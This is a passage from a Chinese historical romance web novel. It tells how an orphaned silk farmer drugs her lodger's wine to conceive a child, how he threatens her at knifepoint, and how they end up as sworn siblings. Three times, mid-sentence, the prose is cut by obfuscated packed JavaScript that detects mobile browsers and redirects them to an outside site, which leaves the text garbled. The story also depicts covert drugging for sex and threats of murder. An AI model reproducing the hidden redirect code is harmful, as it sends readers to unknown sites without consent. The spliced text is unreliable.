将手在衣摆上擦擦，不再胡思乱想，把背篓里的菌子倒在外面晾晒。 旺来摇着尾巴跑过来，对菌子嗅了又嗅，歪着头像看傻子似地看了楚珩好一会儿，将不能吃的菌子一个个扒拉出来，最后没剩下几个。 楚珩挠挠头，表示不怪自己，他也不知道，什么样的有毒什么样的没毒。 青棠没功夫理会他们之间的官司，也没空闲整理情绪，蚕房里桑叶已尽，鸡饿得咕咕直叫，脚不沾地地忙着喂蚕喂鸡做饭。 饭时，她看着碗，一口也吃不下去，经李福这一闹，半分精神也无，问楚珩是不是快有回信了。 她知道他早晚要走，可眼下却不希望他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587424|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走，他一走，李福就会肆无忌惮地来骚扰她。 楚珩有一瞬沉默，他与侍卫走散，一时联系不上，只能写信给好友，让好友悄悄到这里找他，所以只等人来，不会有回信。 他敏锐地察觉到青棠的愁苦，于是给她一颗定心丸。 “并没有这样快……你放心，我走之前会帮你解决李家。” 青棠心事被看穿，有些不自在，好似是自己在求他留下来。 她不喜欢求人，埋头饭吃了几口饭后还是决定靠自己。 她说道：“你没必要蹚这浑水，不要因我而惹上麻烦，我总会有办法……多谢你，平江。” 一声“平江”叫得轻柔却郑重。 楚珩原以为她会因有人替她解决麻烦而高兴，不想她反过来担心自己的安危。 她的确是善良，善良得有些过分了。 他问：“你怎么解决？” 青棠无法回答，因为她的确没有办法。 楚珩提议：“其实你可以离开这里，去找亲人。” 提起亲人，青棠心尖发酸，眼中蓄满伤感，忍不住又要落泪。 “我的家就在这里，我的亲人就埋在山里，我能去哪？我哪儿也去不了……” 楚珩听了不再作声，一餐饭在悄无声息中用完。 入夜，天空薄云渐起，月色忽明忽暗。 青棠躺在床上，双臂枕于脑后，瞪着眼睛睡不着。 一会儿想起罗父给她带糖回来，一会儿想起罗母嘴上叨咕她脚长得快，手里又给她纳鞋底做新鞋，一会儿又想起怀生拉她去捉泥鳅、趁她不注意把泥鳅塞进她的衣领中，吓得她哇哇大哭…… 在这里生活了十年，她早已把这里当家，把罗家人当亲人，日子虽苦却也甜。 他们走了，把甜一并带走，只剩下无穷无尽的苦。 此前陈桃花专门过来与她说了李家散播了流言，让她尽早拿主意，别等到闹得十里八乡都知道了不好收场。 她当时并未放在心上，只言身正不怕影子斜。 现在看来是她想错了，人言可畏，日后的处境怕是要更艰难。 若爹娘还在就好了。 想到这里，青棠又哭泣一回，但擦干眼泪，还要想想以后日子怎样过。 陈桃花说得对，现在来提亲的没有一个是真心，全都是冲着这份家业来的。 这点家业是爹娘的毕生心血，她说什么都得守住。 要怎么守？ 与其找个靠不住的男人，不如自己盘起发髻，再过继个孩子，将家业传下去。 想到过继，青棠便想到大桥头住的疯婆子，何寡妇。 何寡妇无儿无女，丈夫死了三年后她从本家亲戚里过继了一个儿子，含辛茹苦地养育他长大，还张罗要给他说亲。 谁承想，那儿子竟是个白眼狼，私自卖掉家里的竹林茶园，连夜卷钱跑路。 何寡妇出去找了许久，将会稽钱塘翻个遍也找不见人影儿，去儿子亲生父母家也找过也闹过，到底无用。 后来听人说在维扬见过那儿子，何寡妇便去维扬找，在维扬不知发生了什么事，儿子没找到，她也疯了，整日坐在桥头上念叨“儿啊，儿啊……” 何寡妇凄惨的晚景让青棠立刻打消了过继的念头，没有血缘关系，到底靠不住。 过继不行，那就自己生一个，没有亲人，自己生的就是亲人。 想通了这一层，青棠一心要让日子顺心地过下去，什么名正言顺、什么礼义廉耻都统统抛在脑后。 可生孩子不是一个人的事，和谁生，怎么生，都是问题。 她想，这个人要心地善良、要长相好，生出来的孩子才能温和、漂亮，最好是外乡人，以后不要有来往，不会打扰她们母子二人的生活。 而这样合适的人，眼前就有一个。 青棠被牵过的手热起来，继而想到那一晚周身的温暖。 她看向灶房，那里的油灯还亮着。 7. 不解春 生米煮成熟饭的念头如播入土里的种子，在和煦春风中快速生根发芽。 陈桃花又来了几次，絮絮叨叨地让青棠赶紧抓住眼前人，就好似给幼苗松土施肥，让幼苗迅速抽枝展叶。 青棠含糊应下，不敢将念头说给她听，只低声问了些夫妻之事。 说到这些，陈桃花可来了精神，关起门来将当年她与她男人两情相悦、百般恩爱的事细说一遍。 “男人呐，都是看着一本正经，实际经不起一点撩拨，你耍个小脾气、说几句好听的话，他就巴不得地给你掏心窝子卖力气……” 青棠听得脸颊发烫，不照镜子也知道，此刻自己一定像熟透了的柿子，从里红到外。 她的确不懂要如何取悦或拿捏男人，也认为没有必要，情投意合的两个人，不需要这些手段和心机。 可现实不一样，她得学着怎样把人骗到手。 “你这样可不行，”陈桃花对她的扭捏十分不满，“你这表兄宽肩窄腰螳螂臂，一看就是在床上能折腾的主儿，以后可有你受的。就是性子跟冰一样，不太好接近，你得下点功夫。不过越是这样的越不知足，等他开了荤只怕会夜夜都要不够。” 她掩着笑说完，之后又传授了些房事上蜜里调油的法子，毕竟是过来人，说起这些来一点不怯得慌。 青棠几乎是捂着脸听完，最后终于得知月事走后七八天最易有孕。 掐指一算，正是后几日。 生孩子这事不能硬来，还是你情我愿的好。 青棠依着桃花的提点，杀鸡宰鸭，连着做了好几顿好饭菜，博取好感是一方面，重要的是把人养壮些才好用。 时刻想着如何“勾引”他，比如关心冷暖，比如没话找话，又比如不经意地触碰，也算是费尽心思。 她是正经人家的女儿，不会烟视媚行，也不能像桃花那样豪放主动，看着对方不为所动，心底着实焦急。 楚珩也隐约感觉出青棠的热情，除却好吃好喝，话也多起来，他只当是他答应解决李家的骚扰，青棠感激他的缘由，故而并未多想。 青棠没有办法，只好再次向陈桃花求助。 陈桃花一面笑她放不开，一面悄悄塞给她一包药。 她捏着药思量再三，终于下定决心，恐再犹豫下去，人一走就再没这么好的机会了。 于是当日傍晚，青棠置了一桌酒菜。 楚珩还在劈柴，她趁机打开酒壶倒药粉，到底是没干过坏事，心虚得不得了，手一抖，整包药粉全部倒了进去。 她也不管多少，收起包药的纸，擦干净桌上散落的药粉，晃晃酒壶倒了杯酒放到对面的位置上。 “吃饭了……” 青棠不敢大声说话，心跳得厉害，呼吸也不稳，只怕会露出什么破绽。 “来了。” 楚珩答应着，把斧头钉在砧木上，顺手将劈好的木柴堆在一起后才朝屋里走。 青棠强装镇定，摇摇头照例为他备下洗手擦脸的水。 楚珩也很自然地清洗，用帕巾擦干，坐到桌边接过青棠递来的筷子。 一切都再正常不过。 楚珩笑道：“今天是什么日子，怎么还备了酒？” 青棠没想到他会问得这么细，也是，以前饭桌上从来没有酒的， 她不敢直视他的眼睛，思量一下才编出理由：“今天是的我生辰。” 说完偷瞄了楚珩一眼，她不知道自己的生辰是哪天，家里也未给她庆过生辰，爹和怀生生辰时，娘会煮一碗长寿面给他们。 过生辰做顿好的吃，应该不过分吧。 果然楚珩没有怀疑，笑道：“原来是你的生辰，我没备礼物，日后一定补上。” 但举起酒杯立马又放下。 乡间的药终究不是上等，味道重，颜色深，楚珩看了一眼就发觉杯中酒有问题，登时起了疑心，看向青棠的眼神带上戒备。 真是小看了这女子，忍了这么久终于显出原形，这几日殷勤相待就是为了此时，差点就被她骗到，亏得自己还琢磨送她什么生辰礼物好。 他没喝酒，杯夹了筷子菜蔬。 青棠只盼他赶紧喝掉，见酒杯放回原处，迫不及待地问道：“你怎么不喝？” 楚珩心中一阵冷笑，果然着急让他喝酒，那他偏不喝，再钓她一会儿，且看看她会作什么妖。 “我先吃些东西，空着肚子喝酒会难受。” “哦，哦……”青棠觉着他说得有道理，不再追问，目光却时不时地瞥一眼酒杯。 楚珩慢悠悠地吃了几口菜，和青棠闲聊，青棠神经紧绷，心不在焉地搭话。 楚珩问道：“你喝过酒没有？要不要尝尝？” “啊？” 酒杯突然送至眼前，青棠的心瞬间提到嗓子眼，结结巴巴找借口：“我、我娘说……说女人不能喝酒……” “哦？是吗？那我就不客气了。” 楚珩颇有深意地看她一眼，端起酒杯放到唇边。 青棠紧张到了极点，心思全在酒杯上，没注意到楚珩神色有异，待看到他喝了才松开紧捏着衣角的手指，静等药效发作。 楚珩当然不傻，借着擦嘴的动作将口中酒全吐到帕巾上，以为只要不入喉就无事。 不过，他到底是小瞧了乡间的野路子，酒在口中的残留足以将他撂倒。 不消片刻药性便发作，热气上头，身体滚烫难耐，喉间似咽下一团幽火，在脏腑间点燃，燥热沿着经脉窜边四肢百骸，最后集中在小腹下，酸麻鼓胀。 大意了！ 楚珩眉头紧锁，暗道不好，原以为是迷药，一会儿装晕就好，不想竟是暖情药。 青棠见他意识朦胧，眉目低垂，面色潮红，知药已生效，深吸几口气上前扶起他。 “你喝多了，早些休息吧。” 楚珩身子挨上青棠，欲望便开始向理智发难，空虚感趁机而入。 他指尖狠狠掐入掌心，强忍着不去抱那绵软的女体。 青棠虽未经人事，也能感受到扑面而来的情欲，这样精壮的体魄，一会儿怕是要遭罪。 进卧房后，她反倒有些怕了，身体止不住地颤抖，迈出这一步再无回头路。 就此停手还来得及。 但想到李家的算计，想到村里的风言风语，想到以后无盼头的日子，她牙一咬，心一横，干脆豁出去了。 试着去解楚珩的衣带，手刚碰到衣料就紧紧按住。 “罗！青！棠！” 楚珩本想怒斥他，可酥麻感侵袭，以致尾音发颤，失去震慑的气势，听起来反倒像是急促的调|情。 眯着眼睛低头，正对上青棠含羞带怯的双眸。 灯光跳动，落下似有若无的缱绻。 美人面近在眼前，乌黑的鸦羽投下根根分明的阴影，小巧的鼻子玲珑剔透，樱桃似的嘴唇温润饱满，像沾着晨露，泛出莹莹光芒，满是诱惑。 他血脉偾张，他口干舌燥。 喉结滚动，吞下一口津液远不能满足，真想含住这颗樱桃，畅快淋漓地吮吸一番。 理智在深渊边上徘徊，一双玉手攀上他宽厚的脊背，似渊底悄然生长出的藤条牢牢缠住他，几乎要将他拖拽下去。 青棠仰面，闭眼感受着灼热结实的胸膛和铿锵有力的心跳，踮起脚尖朝两片薄唇够去。 唇瓣之上，是一片尖锐的冰冷。 嘴唇不该是软软的、热热的吗？ 青棠疑惑，睁眼看去，果然贴上的不是唇，是刀刃。 雪白的刀刃在烛光下闪着诡异的光泽，不及她反应，已架在她脖颈上。 楚珩眼尾带红，眸光冷冽如刀，直直刺向她，好似要将她千刀万剐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587425|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 冰冷的声音砸下来，“罗青棠，你到底是谁？” 青棠怔住，大脑瞬间一片空白，万没想到药效只有短短一会儿。 往日温润和善的人突然冷下脸来，比本身就是凶神恶煞的人更让人觉着可怕。 她汗毛倒竖，后背起了一层冷汗，本能地向后挪，跌坐到床边，喉咙发紧，一个字也说不出来。 她不理解，他为什么问她是谁，罗青棠就是罗青棠，还能是谁？ 到罗家之前她是谁，她也不知道。 结结巴巴地回答：“我就叫罗青棠……” 楚珩头脑晕沉，方才七分真三分装，任由这女子摆弄，但理智尚存一息，他不能栽到这里，咬破舌尖后彻底清醒。 偏头吐掉口中血，目光却不离开青棠，揪着她的衣襟按在床头，短刀抵住下颌，微微俯身凑近，“你还有什么身份？” 始料未及的变故让青棠发懵，将脑袋摇得像拨浪鼓，她一介孤女还能有什么身份？ 楚珩不信：“你还真是有耐心，在我身边蛰伏这么久，到底有什么目的？是受谁人指使？” 青棠眼中蓄满泪水，抿紧嘴唇不说话，显然是他误会了，将她误成他的敌人，她想解释，又不知从何说起，今晚的行径是赤裸裸的算计，难免会让他生出这样的想法。 可真正的目的龌龊可耻，实在难以启齿。 越是沉默，楚珩就越有怀疑她的理由，但他不敢直视那双湿漉漉的眼睛。 眼神干净，透着茫然和委屈。 他真怕自己会心软，目光偏开一寸，沉声呵斥：“说！” 青棠吓得全身紧绷，长睫轻颤，泪水滑过两弯梨涡，着实惹人怜爱。 楚珩反复告诫自己，这楚楚动人的样子全都是装出来的，不会再勾起他半分怜惜，将短刀下移点在她的胸口上。 “不说？那就尝尝被扒皮抽筋的滋味。” 这般恐吓令青棠脸色惨白，胸口起伏大口喘息，几乎要晕过去：“我不是……我没有……” 中气不足，话音软绵，像极了撒娇求怜。 真是经不起吓，楚珩怕她一口气提不上来晕死过去，于是缓和了语气，“是不是那个叫陈桃花的女人？” 青棠还是摇头，虽然其中有陈桃花的撺掇，可终究是自己的主意，不能把陈桃花牵扯进来。 “那是谁？说出来我饶你不死。” 楚珩呼吸急促，他离青棠太近了，少女独有的体香萦绕在周围，像网一样将他牢牢罩住。 她生得很白，雪腻的脖颈半掩在衣领中，素衣包裹下的身形窈窕婀娜，纤纤腰肢不堪一握，若她仰着颈子啜泣会是什么样的风景呢？ 渴望一瞬间被点燃，楚珩浑身燥得难受，心跳已然失序，眼神逐渐迷离起来，伸手去捏青棠的耳垂。 “不要！” 哭腔带着拒绝和惊恐，青棠是计划与他春风一度，但不是在这种清醒的境况下。 可怜的声音让楚珩再次压□□内躁动，深吸一口气稳住心神，眼神聚拢，刻意带上狠戾。 青棠下意识向后挪，后背抵上床头再无可退。 烛光自楚珩背后照过来，将宽阔颀长的身形映得更加高大，像一座山一样笼罩住她，压迫感十足。 她咬着唇嗫喏道：“没……没有人指使。” 楚珩只觉万般无奈，看着柔弱无能的一个人，却是威逼利诱都问不出个所以然来，他干脆来更狠的，拿出审犯人的架势。 “撒谎！不说那我就先杀了你，再屠了村子……你大概忘了我是做什么营生的吧，我这把刀不知沾的多少人血，不在乎多加几条。” 猩红的眼尾，可怖的眼神，吓得青棠直翻白眼，心里后悔死了，作什么招惹这玉面活阎王。 “我……我……”了半天憋出一句话来，反把楚珩气笑了。 8. 金兰契 青棠说：“你把刀拿远些，我害怕。” 楚珩哑然失笑，俎上鱼肉，还妄想屠夫将刀拿远些。 虽是这样想，但还是收回刀，敛起戾气，耐着性子等她回答。 青棠抽噎几下，平复情绪后说出自己的谋划。 “……我一个孤女，让你住在家里难免惹人误会……你说要报答我，就跟我生个孩子……此事我想你大概不会同意，所以给你下了给牛马配种时用的药……” 楚珩无语，难怪这段时间殷勤备至，原来是想去父留子。 真是滑天下之大稽，简直像是话本子，报答她，就要给她留个孩子！ 看着至纯至善的一个姑娘，心思却歹毒，竟给他下牛马配种所用之药，怪不得药力强劲，沾了一点就险些控住不住。 后面解释话他没怎么听进去，樱唇翕动，是无声地诱惑，让人只想狠狠地吻上去。 楚珩低头闭眼定了定神，坐到离青棠远一些的地方，狠掐着腿上的肉来保持清醒。 “生个孩子？你想的倒是容易。” 青棠眨眨眼，“桃花嫂说可以，一次就能怀上，她两个孩子都是这样来的。” 楚珩扶了扶额头，果然是这个陈桃花，青棠也是个傻的，别人说什么就信什么，若一次就能怀上，哪里还会有人去请送子观？ 随即，他神色冷了几分，“谁和你说这个……村里那么多男人你不找，为什么选我？” 青棠不假思索地回答：“因为你早晚要走，不会再回来，以后不会与我们有瓜葛……不会……” “不会什么？”楚珩音量提高几分。 青棠嗫喏道：“不会，不会霸占我的家产。” 楚珩：“……” 身为国公府世子，他怎会瞧上这几间破屋子，她分明是在撒谎，知自己与庆王府有关，攀附王府应该才是她真正的目的。 今日必要她亲口承认。 他继续问道：“就这些？” 青棠歪头想了一会儿，“因为你生得好看，生出来的孩子也好看。” 这也算原因？ 楚珩无言以对。 此等荒谬之事，见所未见，闻所未闻，他忽觉自己很可怜，堂堂安国公府世子虎落平阳，被人下药借种。 想他在纵横沙场朝堂多年，经历多少大风大浪都能全身而退，不想竟在小阴沟里翻了船，差点栽到一个农女身上。 不仅可怜，还可悲。 汗珠沿着颈侧滑进衣领，楚珩抬手擦去，里衣早已濡湿，粗布衣衫摩擦着肌肤，痒意又起。 他深吸一口气，压低声线故作阴冷：“我曾说过，对你必有重谢，也说过会帮你摆平李家纠缠，我这人一言既出驷马难追，说到自会办到，你为何不信，偏要选择如此卑劣的手段。” 青棠早已悔青了肠子：“我只想要个亲人，我太孤单了……” 这是她心底的脆弱，白日里忙碌不觉着，到了深夜万籁俱寂之时，才发觉这日子过着没有一点盼头。 现在人逼着说出来，像是把见不得人的狼狈与难堪摊在太阳底下，任人指点评判。 她觉着委屈，头埋在双膝间，又呜呜咽咽地哭起来。 刚开始哭声很大，断断续续催人心肝，后面大概是哭累了，声音小下去，啜泣着、颤抖着。 可声音越是细小，越是破碎，就越让楚珩怀疑是不是自己做错了。 她身世可怜，一介孤女，无亲无故，想寻个可以依靠之人，又担心遇人不淑，便想着生个孩子来做伴，只不过恰巧遇到的是自己而已。 但很快，他就否决了这一想法，他才是今晚的受害者。 “你别哭了！” 哭泣声让楚珩心烦，身子更烦，体内幽火明明灭灭，大有复燃之势。 青棠哭久了，嗓音沙哑，“你走吧，现在就离开，今晚的事就当没发生过……” 楚珩收刀入鞘，到了这个地步，他若走了，算什么男子汉大丈夫。 “我并非言而无信之人，说帮你就一定会帮你，你不就是想要个亲人吗？这有何难。” 啜泣戛然而止，青棠抬起头看向他，一双泪汪汪的眸子满是不可思议，“你……同意了？” 楚珩再次无言以对，同意什么同意，还真是榆木脑袋，不开窍。 他头痛不已，长眉紧蹙，“我的意思是，你我可结拜为兄妹，义兄也是兄，也算亲人。” 青棠不作声，似乎在犹豫。 楚珩见她松动，继续加码，“我只是一时困顿，等联系上好友，自会有重金酬谢，而且他在钱塘一带颇有名望，靠这层关系，可保你在此地无人敢欺，日后也能找个好人家。” 青棠目光游移，内心似有动摇。 楚珩乘胜追击，“是选一门好亲戚，还是选择无媒苟合，生下一个没有父亲的孩子，受人嘲笑指点，你好好掂量掂量。” 这说好像说到了青棠的痛处，她爽快地答应：“就听你的，结拜为兄妹。” “好，今日你唤我一声义兄，以后你我便是亲人。”楚珩拿起短刀放到青棠手中，“此刀赠予你，算作结拜信物。” 青棠抹干眼泪，站起身整理衣襟、梳拢发髻，规规矩矩行一礼，“义兄在上，请受义妹一拜。” 楚珩微微诧异，她行礼的动作，是标准世家女的行礼姿势，而这山村里没人会这样的礼仪。 或许她真是世家里丢的孩子。 但他没说出口，眼下不是提这事的时候。 楚珩受完礼，亦起身规矩还礼。 舌尖疼痛过后，燥热又发作，且来势汹汹，他匆匆道声“早些安睡”，逃也似地出去浇了两盆冷水，又自我纾解一回，泄出火气后，仍燥热难耐。 这药可真歹毒！ 本来以为这事就这样过去了，不想次日青棠在院中置香案香炉，以水代酒摆上两碗，换上过年穿的新衣，又拿出一身新制的衣裳让楚珩换上。 昨晚经历大起大落，她哪能睡得着，连夜将楚珩的新衣赶制出来，也想他尽快离开。 果然是人靠衣裳马靠鞍，天青色新衣上身，楚珩贵气立现，清雅逼人，分明是城里富贵人家的公子。 青棠不免多看了几眼，与他焚香三柱，跪拜皇天后土，顿首三次，饮尽碗中水后才算礼成。 楚珩拈着香，口中说着“祸福同担，患难与共，皇天后土，实鉴此心，背恩忘义，天人共戮”，心中却道：“今欺瞒姓名，为形势所迫，实非我本意，愿天地宽宥，此后珩行善积德，定偿此过。” 昨晚的事，青棠觉得有必要给他个交代，将事情说开了，日后相处也不尴尬，于是郑重行了一礼，说道：“昨夜之事，是小妹一时糊涂，望义兄莫怪。” 楚珩面色严肃，像个真兄长一样教诲道：“我知你处境艰难，也知这不是你的主意，是受了陈桃花的蛊惑。但人立世间，当光明磊落，切莫怀阴私、起恶念。此次只当是个教训，以后不可再轻信他人。还有，不要怕李家，我答应你的事一定会做到。” 青棠乖巧地听着，点头称是，并不辩解借种生子这个主意到底是谁出的。 就让这件事稀里糊涂地过去罢。 刚收起香案，陈桃花和她男人用独轮车推来一车稻草，堆在院中，好大一垛，是预备蚕上簇结茧用的。 陈桃花的男人也穿着新衣新鞋，全然不像做农活的样子，倒像是去别人家做客特意换的，卸稻草期间不住地往楚珩身上看。 他听说陈桃花说青棠家来了一位表兄，说那那表兄生得如何俊朗不凡，如何气宇轩昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587426|205341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 自己婆娘说别的男人好，他当然不服气，卯着劲想看看这人好在哪里，今日终于有机会去青棠家，便特意穿上最好的衣裳与之比较一番。 到了一看，也不过如此，人虽挺拔却不健壮，估计连木桶都担不动，脸倒是生得好看，但好看有什么用，又不能当饭吃，庄稼人过日子，有把子力气最重要。 他挺挺脊背，尽力展示自己粗壮的躯干。 楚珩被看得不自在，拎起竹篓去后院采桑叶。 青棠倒是夸赞他几句：“水生哥今日可真精神。” 罗水生挠着头嘿嘿一笑。 陈桃花却数落道：“傻站着做什么，还不回去喂蚕。” 显然她对自己男人的表现并不满意，呆头呆脑，连话都不会说，与那表兄站在一起，高下立见，真后悔让他一起来，上赶着丢人。 陈桃花月底就要生产，青棠实在不好意思让她走动，拉她坐下休息，客气道：“你可真是活菩萨，知道我发愁没有稻草用。” “菩萨可没我灵，你家没水田，哪里会有稻草用，虽不值几个钱，倒省得你去买了。”陈桃花翘着嘴角，眼中满是得意，“家里还有，不够再就去拿。” 又见二人穿得喜气洋洋，还以为好事已成，眼睛向后院示意，悄声问道：“成了？” 青棠摇摇头，不敢言昨夜之事，轻描淡写地说道：“还是算了吧。” “什么？就这样算了？”陈桃花无限惋惜，“到嘴边的肉都不吃，你可真傻。” 青棠心想，这肉可不好吃，命差都点没了。 陈桃花继续说：“想想以后怎么办吧，村里人可都在传你养小白脸呢，上次被我听到，骂了他们一顿，我说‘大家相处也不是一日两日了，谁是什么样的人，你们自己心里该有数，别听风就是雨的，跟着别人乱嚼舌根’。” 她一脸义愤填膺：“若不是身子重，我非上去给他们两个大巴掌。 青棠早已料到会传成是这样，但也相信自有明辨是非之人，感激道：“多谢你为我出头，只是不要伤了自己的身子。” “咱俩谁跟谁，等下回再让我遇上，非撕烂他们的嘴不可。不过，此事不成，以后要另做打算了。”陈桃花小声道，“你知道吗，李家大郎来咱村子一趟腿就断了，他娘说是你打的，扬言要去府衙告，他家在衙门里有亲戚，一准能告赢。可那个李福死活不让，非说自己摔断的，他娘就又骂他，说全是你挑唆的，这还没定亲呢就这样护着，将来娶进门来还不翻了天。李福不承认又说不出个因果来，娘俩天天闹得鸡犬不宁……我看呐，李家这是要作罢了。” “这样最好。” 青棠舒了一口气，可李福到底断了一条腿，李家能善罢甘休？她有些不信。 “唉，但愿如此！只是可惜了……”陈桃花摇着头叹息，又看向后院，“这么俊俏的人，可惜不是我夫君。” 青棠嗔怒道：“你呀，没个正经。” 两人一阵玩笑，陈桃花绕回养蚕上面，“今年桑叶贵，多亏你家的桑叶，我家的蚕才能吃饱，来时还看见溪里飘着蚕，也不知谁家养不起了，拿出来倒掉，叫人看着真是心疼。” 肚子里的孩子大约感受到了母亲伤感，乱踢了几脚，桃花抚摸着安慰。 “哪有事事顺意的，今年年景还算不错。”青棠又问：“可有人开秤收茧了？今年行情如何？” “我正要说这事呢。”陈桃花说起新鲜事，很快忘记伤感，“收茧客倒是来了，只是看着有些眼生，听口音也不是本地人，我跟你说，他们生得可俊了……” 青棠只笑着回应，并未在意，收茧做生意的，自然是哪里茧多到哪里，眼生也正常。 采桑叶回来的楚珩听了却是眸光一垂，这些人或许不是收茧人。 9. 火焚心 正月灯，二月鹞，三月上坟看姣姣。 荷花塘是小村，正月里没有花灯，殷实些的人家会在门口挂两盏红灯笼应应景。 二月里的纸鸢只有小孩子会放，用竹篾做骨，糊上写过大字的纸，看着不漂亮，也飞不高，镇上时兴的板鹞纸鸢，青棠从未来见人放过。 模糊的梦里总有个情景，好似是她小时候，追着纸鸢跑，纸鸢飞高了、飞远了，跳起来也够不到，还摔倒在地，弄得满身泥水，一个比她高两头的男孩将她抱起，轻轻擦去她脸上的泪水。 她不知道梦里是哪里，看不清男孩的长相，一切都很模糊。 也许只是个梦，也许是春天来了，她想放纸鸢了。 三月上坟要上许多天，各家有早有迟，上坟的人多是相识婶娘姊妹，没有姣姣可看，但她自己本身就是姣姣。 罗家的坟茔在半山里，是太公选的地方，离家远些，需早早动身。 上坟的前一日夜里青棠备好菁饺酒馔，临睡前去看蚕，发现蚕不吃桑叶，身体变得透明，这是要结茧了。 她把扎好的蚕山搬进蚕房，以备蚕结茧用，心中很是高兴，月余来的辛苦没有白费，马上就要有收获， 虽然蚕茧还没结好，但卖蚕茧的钱已想好用处，将屋顶修一修，院墙垒一垒，再买上几只小鸭养起来，还要置新被褥、新衣裳…… 总之，有了钱一切都好说。 次日，青棠起了个大早，检查一遍蚕房，叮嘱楚珩仔细看家后，背起准备好的祭品，带着旺来出门去。 路过下沿村，李福拄着木棍站立道旁，恶狠狠地朝她啐了一口，她毫不示弱地瞪回去，而后继续往前走。 这时候家家户户都上坟，路上人多，又有旺来跟着，李福不敢造次。 坟茔离家远，要走好一段山路，到时太阳已升了丈余高。 爹娘的坟在上，怀生的坟在下，青棠先祭拜爹娘，摆上菁饺和酒馔，点燃纸钱，火苗窜起，烟气呛得人眼眶发酸。 一抔黄土隔生死，一缕青烟奠故人，平日里不觉着，只当是亲人都出门去了，但此刻，想到他们就在黄土堆下埋着，才知道什么叫没了。 青棠悲从中来，痛痛快快地大哭了一场。 生身之恩大于人，养身之恩大于天，爹娘几年来的养育之情，她没齿不忘。 哭过后再上怀生的坟，他的棺里只有衣冠。 怀生不是个听话的孩子，没少让爹娘操心，不务正业游手好赌，又爱充场面，有一次偷卖了家里留种的蚕豆去赌钱，被爹知道后吊在房梁上打个半死，这才有所收敛。 爹娘精心打理家业，怀生却不想守家，只想出去闯荡，恰逢官府征劳役去疏浚河道，他立即收拾行李前去应征，不久就收到了被水冲走的消息。 娘一夜白头，不相信儿子已死，死活不让爹去官府销户籍，最后爹瞒着她请陈桃花的男人去料理，领回一双鞋和十两抚恤金。 后来为给娘治病，爹挑私盐坠崖，摔得血肉模糊，娘花了大价钱请人将尸体找回，又找仵作缝尸，勉强拼出人样儿才下葬。 娘用怀生的抚恤金安葬了爹，最后自己也跟了去。 娘再三叮嘱青棠守着家，等怀生回来，咽气前听见开门声，还再问：是不是怀生回来了。 执念不破，她死时都未能阖眼。 青棠怀念爹娘，对他们的事想也想不完，可对于怀生，她只有思无恋。 同来祭拜之人已陆陆续续往回走，青棠不太想面对家里的那个人，在离坟旁的大树下坐了许久。 回想起那晚的事，她还是有些后怕。 真是大意了，月余相处，只觉他文质彬彬客气有礼，竟让她忘记了初见时那一身狰狞的伤口。 事情败露，她不认为他提出结拜为兄妹为真心，只不过是搭了个台阶，让彼此不那么尴尬，他自己也好继续留住在家里。 京城来的人就是心眼子都多。 而那种情况下，对方手持利刃，她别无选择，只能接受。 既然是借口，那他承诺的酬谢和摆平李家的事也未必是真心，所以她置酒焚香，将结拜之事昭告天地，给他良心套一道枷锁，令他日后念及此事，心生难安。 依着这些日子的了解，青棠赌他有良心。 饶是结拜成兄妹，那晚之后，家里的氛围还是有了微妙的变化，楚珩经常独自上山，有时掰几根笋，有时砍一捆柴。 青棠想他一定是在躲自己，毕竟那晚他的样子也是十分狼狈。 好比天上下凡历劫的神仙，困顿泥潭不得挣脱，待大难过后归了本位，怎会怀念困住他的泥潭。 瘸子腿好了，第一个丢掉的就是拐杖，自己这个帮他渡过难关的义妹，自是再无用处。 此后山水不相逢，谁还会记得谁？ 若当时多放些药，事儿会不会就成了呢？ 青棠拍拍头，将这些繁杂无序的念头从脑中赶出去，只希望他能快些走，自己也赶紧过回以前平平静静、简简单单的日子。 她抱住旺来揉了几下头，苦笑道：“以后又剩咱俩相依为命啦。” 旺来能听懂她的话，舔舔她的脸颊，摇摇尾巴“哼唧”两声。 下山后青棠赶去三界镇采买针线，午间在小摊上点了三碗馄饨，旺来两碗她一碗，吃完往回走。 一路，山花争艳好鸟相鸣，蚕豆荚已饱满，春茶不久可采，等卖完蚕茧便可去帮人摘豆、采茶，又是一笔收入。 大约是心中的不快发泄出去了，青棠感觉风中带着暖意，处处满是希望，脚下步子都轻快起来。 到家后她照理喊了一声“我回来了”，无人回应。 她去蚕房看，蚕已上簇，饱满的蚕茧皎洁如雪色，让人瞧着心里踏实。 旺来前后院溜达一圈，对青棠摇摇头，表示没见到楚珩。 青棠去柴房看，不见了背篓和砍柴刀，以为楚珩又上山去了，也没有在意，到灶间生火做饭。 